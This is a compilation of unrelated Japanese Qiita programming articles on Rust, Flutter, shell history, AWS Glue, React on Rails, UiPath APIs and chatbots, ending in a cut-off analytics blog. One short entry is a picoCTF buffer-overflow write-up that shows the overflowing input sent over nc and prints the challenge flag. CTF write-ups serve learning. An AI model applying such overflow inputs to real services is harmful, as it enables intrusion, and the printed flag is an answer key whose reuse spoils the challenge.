OmniAICreator/Qiita-1.07M huggingface dataset:
pulldown_cmark使ってMarkdownEditor作ってみた




# はじめに

前回まではRustとWebAssembly使ってFavicon生成などの画像処理を学習していたが、

今回はユーティリティ系アプリの作成もしてみたいので、pulldown_cmarkを使ってマークダウンエディタを作ってみる。

以前作成したfaviconツールについて

https://qiita.com/shisojuice/items/2ce43d25ec48c2c36486

pulldown_cmarkについて

https://docs.rs/pulldown-cmark/latest/pulldown_cmark/


# プロジェクトの作成

pulldown_cmarkを使うと簡単にマークダウンの処理が可能。

下記のようにOptionと入力文字でParserを作成し、

Parserをpush_htmlのメソッドにいれるだけでHTMLに変換される(便利すぎる😎)

```rust:lib.rs
// 省略

#[wasm_bindgen]
pub fn md_preview(input: String) -> String {
    let mut options = Options::empty();
    options.insert(Options::ENABLE_TABLES);
    options.insert(Options::ENABLE_FOOTNOTES);
    options.insert(Options::ENABLE_STRIKETHROUGH);
    options.insert(Options::ENABLE_TASKLISTS);
    options.insert(Options::ENABLE_SMART_PUNCTUATION);
    options.insert(Options::ENABLE_HEADING_ATTRIBUTES);
    options.insert(Options::ENABLE_YAML_STYLE_METADATA_BLOCKS);
    options.insert(Options::ENABLE_PLUSES_DELIMITED_METADATA_BLOCKS);
    options.insert(Options::ENABLE_OLD_FOOTNOTES);
    options.insert(Options::ENABLE_MATH);
    options.insert(Options::ENABLE_GFM);
    let parser = Parser::new_ext(&*input,options);
    let mut result = String::new();
    html::push_html(&mut result, parser);
    result
}

// 省略

```

次に上記の関数を呼び出す処理を実装する。

JavascriptでtextareaをinputしたタイミングでリアルタイムにPreviewできるようにイベントを付与する。

```javascript:index.js
// 省略

  textArea.addEventListener("input", (event) => {
        document.getElementById("preview").innerHTML = md_preview(event.target.value);
    });

// 省略

```

主要機能のコーディングはこれだけ！

他に欲しい機能などを実装して完了！！


# 今回の成果物

デモURL

https://shisojuice.github.io/Rust_Markdown/


デモ画像

![pulldown_cmark使ってMarkdownEditor作ってみた_001.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3777149/6a462c86-d816-690f-d4ff-b9120bc1ada8.jpeg)


ソース

https://github.com/shisojuice/Rust_Markdown


# まとめ

上記のようなMarkdownを処理するライブラリがJavascriptにも存在しているので、そちらも使ってみたい。📝

簡単に楽しくコーディングできるのでこういったライブラリ作ってくださる方々に感謝です。🙏

※間違い等ありましたら、ご指摘いただけると助かります。
AppIntentsのPerform()でのReturnの型の問題

perform() returned types not declared in method signature Did not declare ReturnsValue but provided one

というエラーメッセージが出てショートカットを実行できなかった時、文章どおりreturnの型が宣言されてないこと(この場合はValueがreusultで返されてるのに、ReturnsValueが宣言されてない）が問題。

```func perform() async throws -> some IntentResult{```

IntentResultの部分を返したい値に応じて変える必要がある。

# プロトコル、型の一覧
https://developer.apple.com/documentation/appintents/app-intents
#### IntentResult
Result()で指定する値がある場合は以下のプロトコルを使う？
#### OpensIntent
#### ProvidesDialog
Dialogを返したい時に使う。Dialogはショートカットの結果に表示されたり、Siriを使った時に読み上げられる文章。音声のみで使うときにはとても重要かも。
#### ReturnsValue
Valueを返したい時に使う。ショートカットなどで、次のインテントに渡す値のこと。ReturnsValue<String>のように型を指定することができる。
#### ShowsSnippetView
Viewを表示したい時に使う。ダイアログのように文字だけではなく自分で作ったViewを表示することができる。Siriを使った時にも表示されるが、音声のみで使うことを想定するとあくまでサブのように使った方が良い？
[備忘録]dartのsuperについて

初歩的なことですが、たまに忘れて調べ直すので備忘録として残します。

`super`クラスとは継承元のクラスのこと。今回だと`Hoge`クラスが`super`クラスになる。

```main.dart
class Hoge {
  String name = 'スーパークラス';
  void sayName() {
    print('継承するクラス');
  }

  void greet() {
    print('Hello');
  }
}

class Fuga extends Hoge {
  String name = 'Fuga';
  void greet() {
    super.greet();
    print(super.name);
  }
} // superを使うと、継承元のクラスのメソッドを呼び出せる
```
[エラー解決] Error (Xcode): ../../../.pub-cache/hosted/pub.dev/win32-5.5.0/lib/src/guid.dart:32:9: Error: Type 'UnmodifiableUint8ListView' not found.

# エラー内容

github action で Flutter の flutter build ipa を実行したところ 以下のようなエラーが出ました。

```sh
Run flutter build ipa --dart-define-from-file=dart_defines/prd.json --export-options-plist=ExportOptions.plist --build-number ${GITHUB_RUN_NUMBER}
  flutter build ipa --dart-define-from-file=dart_defines/prd.json --export-options-plist=ExportOptions.plist --build-number ${GITHUB_RUN_NUMBER}
  shell: /bin/bash -e {0}
Downloading ios tools...                                         2,673ms
Downloading ios-profile tools...                                 1,938ms
Downloading ios-release tools...         
Archiving com.省略.省略...
ios/Runner/AppDelegate.swift uses the deprecated @UIApplicationMain attribute, updating.
Automatically signing iOS for device deployment using specified development team in Xcode project: 省略
Running pod install...                                            180.0s
Running Xcode build...                                          
Xcode archive done.                                         782.3s
Failed to build iOS app
Error (Xcode): ../../../.pub-cache/hosted/pub.dev/win32-5.5.0/lib/src/guid.dart:32:9: Error: Type 'UnmodifiableUint8ListView' not found.
```


# 解決
```sh
$ flutter pub upgrade win32
```


# 参考
https://github.com/jonataslaw/get_cli/issues/263
historyコマンドで過去のコマンドを管理する方法

# この記事を書くきっかけ
ターミナルのコマンド操作に慣れてきた頃、過去のコマンドを実行したいときに、キーボードの上矢印（↑）をひたすら押して探すという非効率な方法をとっていることに気づきました。例えば、ローカルマシンからEC2（仮想サーバー）にSSH接続する際、毎回キーボードを連打しながら過去に実行した `ssh 〇〇`コマンドを探して実行していました。

そこで、`history`コマンドを覚えて過去のコマンドを一覧表示して、目的のコマンドを探して実行しようとしました。すると、すぐには出てきません。入力ミスや一回限りのコマンドも多くあり、希望のコマンドは大分古い履歴に記録されているようです。結局`history`と入力するだけでは、目的のコマンドを見つけることができませんでした。

「もっと上手にhistoryコマンドを使えるようになりたい」、「自分の目的にあったコマンドをピンポイントで実行できるようになりたい」と思い、今回記事にしました。目的別でhistoryコマンドを実行できるようにまとめました。是非、参考にしてみてください。

**この記事の対象者**
- シェル入門者
- Linuxコマンドを勉強している人
- histroyコマンドのオプションを知りたい人
- 過去に実行したコマンドを記録する方法を知りたい人


# historyコマンドとは
コマンド：history
説明：過去に実行したコマンドの一覧を表示するコマンドです。Zshの場合、デフォルトで直近16個のコマンドが表示されます。

## 目的別histroyコマンドの活用法
### 過去に実行したコマンドを一覧で表示したい
コマンド：`history` 
シェルで実行した過去のコマンド履歴を表示します
```
$ history
  1  ls
  2  cd /etc
  3  pwd
  4  history
```
### 指定したヒストリ番号以降のコマンド履歴を表示したい
コマンド：`history [ヒストリ番号]`

ヒストリ番号とはhistoryの履歴内のコマンドを識別する番号です。番号が小さいほど昔に実行されたコマンドです。引数にヒストリ番号を指定することで、その番号以降に実行されたコマンドの一覧を表示します。
```
$ history 50
  50  ls
  51  cd /etc
```
### 直近のコマンド履歴を指定した数だけ表示したい
コマンド：`history -[数字]`

引数にマイナスの数値を指定すると、直近のコマンド一覧をその数だけ表示します。
```
$ history -5
  50  history
  51  uname -r
  52  ls
  53  pwd
  54  history -5
```
### 指定したヒストリ番号のコマンドを再実行したい
コマンド：`！[ヒストリ番号]`

ピンポイントで指定したヒストリ番号のコマンドを実行できます。
```
$ history
  101  ls
  102  cd /etc
  103  pwd

$ !102
cd /etc
```
### 直前に実行したコマンドをもう一度実行したい
コマンド：`!!`


```
$ ls
file1  file2

$ !!
ls
file1  file2
```
### 任意の文字で始まる直前のコマンドを再実行したい
コマンド：`!(任意の文字)`

例：`!l`
直前に実行したコマンドの中で、任意の文字（例：l(小文字のL)） で始まるものを再実行します
```
$ ls
file1  file2

$ pwd
/home/user

$ !l
ls
file1  file2
```
### 指定したヒストリ番号から始まるコマンドの引数を全て再利用したい
コマンド：`!　[ヒストリ番号] *`

指定したヒストリ番号から始まるコマンドのすべての引数を再利用します。
`!*` と入力すると、直前のコマンドの引数をすべて再利用したいときに使います。
```
$ echo file1 file2
file1 file2

$ ls !*
ls file1 file2
file1  file2
```

### 直前のコマンドの最後の引数だけを再利用したい
コマンド：`!$`

直前のコマンドの最後の引数だけを利用して、他の命令を実行することができます。
```
$ echo Hello World
Hello World

$ ls !$
ls World
ls: World: No such file or directory
```
# まとめ
historyコマンドを活用することで、シェル操作が格段に効率的になるはずです。過去のコマンドを探す方法を忘れてしまったら、またこの記事を見直して目的のコマンドを素早く実行できるようにしたいと思います。

historyコマンドは気軽なコマンドなので、シェル操作に慣れることを目的として実行してもいいかもしれません。そうやってシェル操作に慣れていくと、他の便利なコマンドやオプションも覚えやすくなると思います。是非、参考にしてみてください。
【ChatGPT＋DALL-E3】【Dream Machine】の動画から１秒ごとにフレームを取り出して一枚の画像にする方法。


　どうも、カーブミラーです。

　今回は、動画から１秒ごとにフレームを取り出して一枚の画像にする方法です。

:::note info
本記事は、ChatGPT（有料版）
＋DALL-E3で行なっております。
画像はあります。　あしからず。
:::
　まずは、ニュース。

　役者・赤塚真人さんが
　　昨日（2024/07/04）、
　　　お亡くなりになりました。

　『男はつらいよ』や
　　『水戸黄門』などでの
　　　名脇役でした。

　ご冥福をお祈りいたします（合掌）
***
　さて、今回は、動画から
　　１秒ごとにフレームを取り出して
　　　一枚の画像にする方法です。

　Dream Machineなどで
　　動画を生成すると、
　　　いい部分悪い部分が
　　　　出てくることがあります。

　悪い部分だけを
　　カットしたい気分になりますよね。

　でも
　　動画のどこからどこを
　　　カットすればいいのか
　　　　具体的な指標が
　　　　　欲しいところです。

　そこで
　　指標を作成します。

　もちろん、
　　専用のツールの方が
　　　多機能ですし、便利です。

　ここでは
　　ChatGPTでどこまで
　　　できるのかを
　　　　示したいだけとも言えます😅

　では、
　　やり方をどうぞ。
***

　やり方
　❶GPT-4oであることを確認
　❷元動画をアップロード
　❸Prompt入力
```Text:
この動画をMoviePyを使って、1秒ごとに分割してください。
分割されたフレームをまとめて、ひとつの画像にしてください。
```
　❹送信
　❺ダウンロード

　なお、ダウンロードした画像は、
　　PNG形式となります。

　今回使った元動画から
　　できた画像がこちらになります。
![result_image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/f9d0ffa3-8b58-5dd8-91fe-2c256b137765.png)

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
Microsoft Store アプリ「Paint 3D」の手動インストール方法

Microsoft Store アプリ「Paint 3D」の手動インストール方法
Microsoftアカウントにログイン後、必要なファイルをDL済みである事が前提。

・アンインストール方法 :

batファイルでps1ファイルを呼び出して、ps1ファイル内でアンインストールします。

〇 batファイル : 
文字コード = sjis又はansi
改行コード = Cr + Lf

~~~bat
powershell -ExecutionPolicy RemoteSigned .\remove-app.ps1
~~~

〇 remove-app.ps1ファイル : 
文字コード = BOM付きUTF-8
改行コード = Cr + Lf

~~~powershell
get-appxpackage *Microsoft.MSPaint* | remove-appxpackage

Get-AppxProvisionedPackage -Online |Where-Object {$_.PackageName -like "Microsoft.MSPaint*"} |ForEach-Object { Remove-AppxProvisionedPackage -Online -PackageName $_.PackageName}
Get-AppxProvisionedPackage -Online |Where-Object {$_.PackageName -like "Microsoft.MSPaint*"} |ForEach-Object { Remove-AppxPackage -Online -PackageName $_.PackageName}
~~~

・手動インストール(オフラインインストール)方法 :
Dismコマンドです。
長いため複数行に改行していますが、実際は1行のコマンドです。

Windows11で確認。
Windows10で未確認。

〇 batファイル : 
文字コード = sjis又はansi
改行コード = Cr + Lf

~~~bat
Dism /Online /Add-ProvisionedAppxPackage /PackagePath:.\
Microsoft.MSPaint_2024.2405.19017.0_neutral_~_(英数字文字列).AppxBundle
 /DependencyPackagePath:.\
Microsoft.UI.Xaml.2.0_2.1810.18004.0_x64__(英数字文字列).Appx
 /DependencyPackagePath:.\
Microsoft.VCLibs.140.00_14.0.33519.0_x64__(英数字文字列).Appx
 /LicensePath:.\
Microsoft.MSPaint_(英数字文字列).xml
~~~
AWS Glueとは

# はじめに

副業でAWS Glueについて触れる機会があったので、Glueとはどんなものかまとめていきます。

https://docs.aws.amazon.com/ja_jp/glue/latest/dg/what-is-glue.html

# Glueとは
AWS Glue（Amazon Web Services Glue）は、**Amazonが提供するフルマネージドのETL（Extract, Transform, Load）サービス**です。ETLプロセスを簡単に自動化するために設計されており、データの抽出、変換、ロードを効率的に行うことができます。
Glueを日本語にすると、「のり」(食べる海苔じゃないよ)という意味になり、**データのさまざまなソースをつなぎ合わせる役割を果たすサービスの特性を表しています。**

## 特徴
### フルマネージド:
インフラストラクチャの管理が不要で、セットアップやメンテナンスの手間が省けます。

### サーバーレス:
インフラストラクチャをプロビジョニングすることなく、ETLジョブを実行できます。これにより、スケーラビリティとコスト効率が向上します。

### 自動スキーマ検出:
AWS Glueはデータソースのスキーマを自動的に検出し、データカタログを生成します。このカタログを使用して、データのクエリや変換が容易になります。

### 多様なデータソースとの統合:
S3、RDS、Redshift、JDBC接続など、さまざまなデータソースからデータを取得・変換・ロードすることができます。

### 開発者フレンドリー:
Apache Sparkを基盤としたETLエンジンを使用しており、PythonやScalaでジョブを記述できます。これにより、柔軟かつ強力なデータ処理が可能です。

## 主なコンポーネント
### AWS Glue Data Catalog:
データのメタデータを管理する中央リポジトリ。データの検索、クエリ、およびアクセス管理に使用されます。

### Crawler:
データソースをスキャンし、自動的にスキーマを検出してData Catalogに登録します。

### ETLジョブ:
データの抽出、変換、ロードを行うプロセス。PythonまたはScalaで記述され、AWS Glue上で実行されます。

### トリガー:
スケジュールやイベントに基づいてETLジョブを自動実行するための仕組み。
使い方

### データソースの登録:
最初に、データソースをAWS Glueに登録します。これには、データが格納されているS3バケットやデータベースが含まれます。

### Crawlerの実行:
Crawlerを設定して実行し、データソースのスキーマを自動的に検出してData Catalogに登録します。

### ETLジョブの作成:
AWS Glue Studioを使用して、GUIベースでETLジョブを作成するか、PythonまたはScalaのコードを記述してETLジョブを定義します。

### ジョブの実行:
ジョブを実行し、データの抽出、変換、ロードを行います。ジョブのステータスやログはAWS Glueコンソールで確認できます。

# まとめ
AWS Glueは、データの統合と変換を簡単かつ効率的に行うためのツールです。フルマネージドでサーバーレスな特性を持ち、自動スキーマ検出や多様なデータソースとの統合など、多くの機能が備わっています。
これにより、インフラストラクチャの管理に煩わされることなく、データの処理と分析に集中することができます。

# 最後に
他にも色々な記事を書いているので、よければ読んでいってください！

https://qiita.com/hukuryo/items/97797a91d7e2ee0bcabc

https://qiita.com/hukuryo/items/2c07c52ff3386d5d75b9

https://qiita.com/hukuryo/items/ebeb26823f944f143b11
DifyのChatbotで芸能人の誕生日を聞けるChatbotを作ってみた。

## 背景
今日って芸能人だと誰の誕生日なんだろう？と思うことが度々あった。
また、今日は⚪︎⚪︎さんの誕生日なのか、と知ることがあり、他には誰がいるんだろうと思った。

# 作りました。

## Chat Botの拡張機能をChromeにインストール

https://chromewebstore.google.com/detail/dify-chatbot/ceehdapohffmjmkdcifjofadiaoeggaf

## 拡張機能の設定

以下のChat Bot URLを拡張機能に設定してください

https://udify.app/chatbot/QcjocoGmVzZAPN3E

## 使用感

![スクリーンショット 2024-07-05 11.51.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327773/92c21ddc-d4e8-da4d-14ae-49724d86f3b5.png)

![スクリーンショット 2024-07-05 11.52.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327773/2040d39d-dc3c-756b-2014-db785d5582c6.png)

![スクリーンショット 2024-07-05 11.54.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327773/ef773b84-1921-df6b-a426-73de3fb097ba.png)


## ちなみに

![スクリーンショット 2024-07-05 11.54.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327773/4c70ee7a-5844-3291-aa08-8a7441fe2552.png)


こんな感じで、すでに先ほど聞いた誕生日(2/8)についての質問は怒られたりもしました。

優秀ですね
playwrightを導入してテストコードを作成してみる(メモ編)


```bash: 基本アクション
# チェックボックスをチェックする
locator.check()	     

# 要素をクリックする
locator.click()

# チェックボックスのチェックを外す
locator.uncheck()	 

# 要素の上にマウスをホバーする
locator.hover()

# フォームフィールドに入力する
locator.fill()

# 要素にフォーカスする
locator.focus()

# 単一キーを押す
locator.press()

# アップロードするファイルを選択する
locator.setInputFiles()

# ドロップダウンでオプションを選択する
locator.selectOption()	
```

```bash: 非同期アサーション
# チェックボックスがチェックされている
expect(locator).toBeChecked()	

# コントロールが有効
expect(locator).toBeEnabled()	

# 要素が表示されている
expect(locator).toBeVisible()	

# 要素がテキストを含む
expect(locator).toContainText()	

# 要素が属性を持つ
expect(locator).toHaveAttribute()	

# 要素のリストが指定された長さを持つ
expect(locator).toHaveCount()	

# 要素がテキストと一致する
expect(locator).toHaveText()	

# 入力要素が値を持つ
expect(locator).toHaveValue()	

# ページがタイトルを持つ
expect(page).toHaveTitle()	

# ページがURLを持つ
expect(page).toHaveURL()
```
【React導入】既存のRailsアプリにReactを導入する

## はじめに
この記事では、既存のRailsアプリにReactを導入する方法についてまとめています。

環境構築段階からReactを導入する方法についての記事は多いですが、途中からReactを導入する記事は少ないため、私自身かなり苦労しました。同じように苦戦している方の助けになれば幸いです。

https://ja.react.dev/

## 環境/前提
- Ruby 3.2.3
- rails 7.1.3.4
- TaiwindCSS使用
- Docker環境
- 「**esbuild**」で開発を行っていること
- バックエンド(ruby、rails)のみで環境構築していること

## Webpackerについて

以前は「Webpacker」を使用するのが一般的でしたが、最近では「Import Maps」や「esbuild」、「Vite」などの新しいツールが推奨されています。Webpackerは廃止されたわけではないですが、公式では使わない方向にシフトしています。この点を押さえておくと良いでしょう。

既存のRailsアプリにReactを導入するための記事が少なく、ChatGPTに聞いたところ「Webpacker」を前提とする回答が多かったので記載しています。

https://github.com/rails/webpacker

https://railsguides.jp/webpacker.html

## 手順

### 1.yarnで必要なライブラリをインストール(Docker内)
```:ターミナル
yarn add typescript react react-dom react-router-dom @types/react @types/react-dom @types/react-router-dom
```

必要なライブラリは後から追加でインストールも可能です。
```:ターミナル
yarn add ライブラリ名
```

### 2.package.jsonの設定追記
```
"build:js": "esbuild app/javascript/*.* --bundle --sourcemap --outdir=app/assets/builds --loader:.js=jsx"
```
何をしているのかまとめると
- **bundle**: 全ての依存関係を一つのファイルにバンドル
- **sourcemap**: ソースマップを生成
- **-format=esm**: モジュールの形式をES Modulesに指定
- **-public-path=/assets**: ビルドされたファイルが公開されるパスを指定
- **--loader:.js=jsx**: `.js`ファイルをJSXとしてロードするように指定

読み込むための設定として捉えておくと良いでしょう。

## どうやってReact実装するのか

### 作業場所
```app/javascript/```にReact用のフォルダを作成して、そこでReactの開発を進めます。

![スクリーンショット 2024-07-05 11.09.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3772961/2b79dc5f-0dd3-8b47-3fd0-8f7530df4715.png)

### ディレクトリ構成と考え方

#### app/javascript/react/components
ここにはReactのコンポーネントを配置します。コンポーネントはWebページのパーツ（ボタン、入力フィールド、カードなど）です。

#### app/javascript/react/entrypoints
ここにはReactのエントリーポイント（アプリケーションの起点となるファイル）を配置します。```ReactDOM.render```などを使ってアプリケーション全体をレンダリングするファイルをここに置きます。

#### app/javascript/react/features
ここにはReactの特定の機能やページに関連するコードを配置します。例えば、ユーザープロファイルページ、ダッシュボード、設定ページなどのコンポーネントや関連するロジックをここにまとめます。

#### app/javascript/application.js
ここでは上記で作成したファイルを読み込みます。

例えば、**app/javascript/react/entrypoints/application.jsx**を作成したら次のように記述します。

```:application.js
import "./react/entrypoints/application"
```

## 注意点
パッケージの依存関係や入れてるパッケージによっては競合して動かないことも想定されますのでご了承ください。

## おわりに
既存のRailsアプリにReactを導入する方法について簡潔にまとめました。実装についても詳しくまとめたかったのですが、まだReactの知識が浅いため触れられませんでした。今後、もっと学んでいきたいと思います。

この記事が、RailsにReactを導入する方法に苦戦している方の助けになれば幸いです。気付いたことなどありましたら、ぜひ教えてください。

それでは、一緒にReactの学習を頑張りましょう！

## 参考記事

https://www.mof-mof.co.jp/tech-blog/2024/04/22/124028
picoCTF 2022 writeup buffer overflow 0

## buffer overflow 0 (Binary Exploitation)

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. Connect using: nc saturn.picoctf.net 55002


とりあえず、バッファオーバーフローさせる。
```
> nc saturn.picoctf.net 62802
Input: fffffffffffffffffffffffffffffffffffffff
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}
```
フラグが出てきてしまった。

`picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}`
【UiPath】トリガーの有効・無効をAPIで操作する

# はじめに

- 本記事では、OCのタイムトリガーの有効・無効をWebAPIで操作する方法を紹介します。
- 記事の内容は、個人の見解または確認結果であり、UiPath の公式見解ではありません。
- 製品仕様や参考画像は 23.10 バージョンのもので構成しています。

# OCのロールに権限はつけたくないけど一部の操作はユーザーに任せたい

↑↑こんなお悩みをお持ちの方向けの実装サンプル（***WebAPI をもちいた専用ロボ***）を紹介します。
サンプルはタイムトリガーの有効・無効を操作する内容ですが、エンドポイントや設定を少し変えるだけで様々な自動化に応用できます。

***OCのUIアクセスを制限していたり、編集権限は付与したくないものの、一部のステータスの更新だけ利用者にかけさせたいケースなどで役に立ちます！***

## 実装サンプル

まず、WebAPIでOCにアクセスするために、外部アプリケーションを登録しましょう！以下は参考

https://qiita.com/Jun96427231/items/ec8fb6cac168a82195c0#3%E5%A4%96%E9%83%A8%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E8%A8%AD%E5%AE%9A%E3%81%99%E3%82%8B

![トリガーの有効無効操作1.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3301444/e101d6bc-2a1b-9ccb-8de3-b1f7bb47789a.jpeg)

➀：上で作成した外部アプリケーションの「***アプリID***」と「***シークレットの値***」を Credential型のアセットとして登録し、「資格情報を取得」アクティビティを配置して呼び出します。（出力変数には「client_id」と「client_secret」を設定）

➁：「HTTP要求」アクティビティを配置し、次の内容を設定します。
- 本文形式：application/x-www-form-urlencoded
- パラメーター＞grant_type："client_credentials"
- パラメーター＞client_id：client_id
- パラメーター＞client_secret：new System.Net.NetworkCredential("",client_secret).Password
- パラメーター＞scope：{★外部アプリケーションで許可したスコープ}　（例）"OR.Assets OR.Folders"
- 要求URL："https://cloud.uipath.com/identity_/connect/token"
- 要求メソッド：POST
- 応答コンテンツ：応答コンテンツ
- 応答ステータス：ステータスコード

![トリガーの有効無効操作2.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3301444/d237a8d8-482f-65c9-f1da-bfde2f16ab0f.jpeg)

➂：「JSON を逆シリアル化」アクティビティを配置し、次の内容を設定します。
- JSON文字列：応答コンテンツ
- 出力＞JSONオブジェクト：応答コンテンツのJオブジェクト

➃：「代入」アクティビティを配置し、次の内容を設定します。
- 左辺：アクセストークン
- 右辺：応答コンテンツのJオブジェクト("access_token").ToString

![トリガーの有効無効操作3.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3301444/ce4eb6e1-3ba5-a122-de7c-cad2bf6593eb.jpeg)

➄：「代入」アクティビティを配置し、次の内容を設定します。
- 左辺：Payload
- 右辺："{scheduleIds: ["+ トリガーID.ToString+"], enabled: "+有効無効+"}"

※引数にあらかじめ「トリガーID（int）」「有効無効（bool）」「フォルダID（int）」を登録しておく。

::: note
更新したいトリガーやフォルダーのIDは、詳細画面のURLなどから確認できます。

![トリガーの有効無効操作4.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3301444/b5076a8a-0425-ea47-ba0c-786de70b3870.jpeg)
:::

➅：「HTTP要求」アクティビティを配置し、次の内容を設定します。
- 本文：Payload
- 本文形式：application/json
- ヘッダー＞Authorization："Bearer "+アクセストークン
- ヘッダー＞X-Uipath-Organizationunitid：フォルダID.ToString
- 要求URL：""https://cloud.uipath.com/{★組織ID}/{★テナント名}/orchestrator_/odata/ProcessSchedules/UiPath.Server.Configuration.OData.SetEnabled""
- 要求メソッド：POST
- 応答コンテンツ：応答コンテンツ
- 応答ステータス：ステータスコード

# さいごに

いかがでしたでしょうか。
WebAPI をつかった自動化は、必要な情報さえあれば実装は容易ですし、処理も安定しやすいので、ニーズがありそうな際は是非上を参考に試してみていただければとおもいます。
最後までお読みいただきありがとうございます！(・ω・)ノ
生成AI超入門！先生と一緒にチャットボットを作ってみよう！

先生「最近の技術ブログのトレンドはやっぱり生成AIだね。特にAmazon Bedrockの話題が多いよ」

生徒「Bedrockってなんですか？」

先生「生成AIのモデルをAPIで簡単に使えるサービスなんだ。例えばOpenAIのChatGPTとか、AnthropicのClaudeとかね。
[GPT-4超えの日本語性能？ 話題のELYZA製LLMをBedrockにインポート！ サーバーレス化してみよう](https://qiita.com/minorun365/items/eadb4e818f71a802f0e7)
っていう記事では、国産のELYZAのLLMをBedrockにインポートしてサーバーレスAPIとして公開してるんだ。すごいよね！」

生徒「へぇー！面白そう！でも生成AIって難しそうで...」

先生「確かに、新しいモデルや技術がどんどん出てきて、追いかけるのは大変だよね。でも、基本的な仕組みを理解すれば、そんなに難しくないよ。
例えば、[エンジニアにも知って欲しいChatGPT基本テクニック](https://qiita.com/b-mente/items/93ea3d9a4fc33a76b949)
っていう記事では、ChatGPTを効果的に使うためのテクニックを紹介してるんだ。Markdown記法や変数の使い方、パラメータ設定なんかが解説されてるよ。」

生徒「パラメータ設定って重要なんですか？」

先生「もちろんだよ。例えば、temperatureっていうパラメータは、出力のランダム性を制御するんだ。値を大きくすると、よりクリエイティブな、予想外の回答が返ってくる。逆に小さくすると、より正確で、一貫性のある回答になるんだ。」

生徒「なるほど〜。じゃあ、実際にチャットボットを作ってみたいんですけど、どうすればいいですか？」

先生「いいね！じゃあ、Qiitaの記事を検索して、質問に答えてくれるチャットボットを作ってみようか。検索にはGoogle検索、生成AIにはBedrockのClaude 3を使うよ。」

生徒「面白そう！お願いします！」

先生「まず、チャットボットの構成はこうだよ。」

**(先生はホワイトボードに以下の図を描く)**

```mermaid
sequenceDiagram
  participant User
  participant Chatbot
  participant Google Search
  participant Claude 3
  User->>Chatbot: 質問を入力
  Chatbot->>Claude 3: 質問から検索クエリを生成
  Chatbot->>Google Search: 検索クエリで検索
  Google Search-->>Chatbot: 検索結果(記事URL)
  Chatbot->>Claude 3: 記事URLと質問を渡して回答を生成
  Claude 3-->>Chatbot: 回答
  Chatbot-->>User: 回答を表示
```

先生「ユーザーがチャットボットに質問を入力すると、まずClaude 3を使ってGoogle検索用の検索クエリを生成するんだ。
そのクエリでGoogle検索を行い、Qiitaの記事をいくつか取得する。
そして取得した記事のURLとユーザーの質問をClaude 3に渡して、最終的な回答を生成させる、という流れだね。」

生徒「なるほど！検索と生成AIを組み合わせて、賢いチャットボットを作るんですね！」

先生「そうだよ。具体的なコードはこんな感じになるよ。」

```python
import boto3
import requests
from bs4 import BeautifulSoup
import json

# Bedrock のクライアントを作成
bedrock = boto3.client('bedrock-runtime')

# Claude 3 に検索クエリを生成させる関数(詳細は割愛)
def generate_search_query(question):
  # ...

# Google 検索で Qiita の記事を検索する関数
def search_qiita(query):
    url = f"https://www.google.com/search?q=site:qiita.com+{query}"
    response = requests.get(url)
    soup = BeautifulSoup(response.content, 'html.parser')
    # 検索結果から記事の URL を抽出
    urls = []
    for link in soup.find_all('a', href=True):
        if 'qiita.com' in link['href']:
            urls.append(link['href'])
    return urls

# Claude 3 に質問と記事の内容を渡して回答を生成させる関数
def generate_answer(question, articles):
    # ...

# チャットボットのメイン処理
def main():
    question = input("質問を入力してください: ")
    query = generate_search_query(question)
    articles = search_qiita(query)
    answer = generate_answer(question, articles)
    print("回答: ", answer)

if __name__ == '__main__':
    main()
```

先生「これで、Qiitaの記事を検索して回答してくれるチャットボットが完成だ！」

生徒「すごい！実際に動くチャットボットが作れるんですね！生成AIって本当にすごいですね！」

先生「そうだね。生成AIを活用すれば、今まで難しかったことも簡単にできるようになる。可能性は無限大だよ！」
FAIR Analyticsでデータ戦略を次のレベルへ

今日の最新の分析環境では、データに単にアクセスできるだけではもはや十分ではありません。データ機能を最大限に活用することを目指す組織にとって、[FAIR (検索可能、アクセス可能、相互運用可能、再利用可能) 原則](https://www.go-fair.org/fair-principles/)の実装は、分析戦略の有効性を大幅に高めることができる堅牢なフレームワークを提供します。これらの原則は、利用可能な多くのフレームワークの 1 つとして機能しますが、データ環境を体系的に改善したいと考えている組織にとって強力な構造を提供します。

このブログを詳しく読み進めていくと、Dataiku がこれらの原則をワークフローにシームレスに統合し、組織のデータ処理方法を変革する方法を案内します。

## FAIR Analyticsが重要な理由
分析は、ビジネス上の意思決定の中核を担っています。しかし、多くの企業は、データ サイロ、標準化の欠如、[データ品質の問題](https://blog.dataiku.com/data-quality-and-generative-ai-key-insights)、非効率性や機会損失につながる断片化されたツールなど、根強い課題に直面しています。「[シャドー分析](https://blog.dataiku.com/fighting-against-the-rise-of-shadow-ai)」と呼ばれることが多い分散型アプローチは、[デスクトップ上のスプレッドシート](https://blog.dataiku.com/fighting-against-the-rise-of-shadow-ai)などのさまざまなツールに大きく依存しており、その結果、データや分析情報の検索、アクセス、利用が困難になるだけでなく、信頼性が低く再現不可能な分析情報も生まれます。

FAIR 原則を分析ワークフローに組み込むことで、分析作業が次のようになることを保証します:
- 検索可能: 関連するデータ資産を簡単に見つけて活用できます
- アクセス可能: 許可された担当者間の安全なアクセスとコラボレーションを確保し、保存場所からデータを簡単に取得できるようにします
- 相互運用性: 多様なシステム間でシームレスなデータフローを実現します
- 再利用可能: 複数のイニシアチブにわたってデータと分析モデルの再利用を促進します

## Dataiku が FAIR 分析を実現する方法
Dataiku は、FAIR 原則を分析ワークフローにシームレスに統合し、組織のデータ処理方法を変革するように設計された市場で唯一のプラットフォームです。その仕組みは次のとおりです。

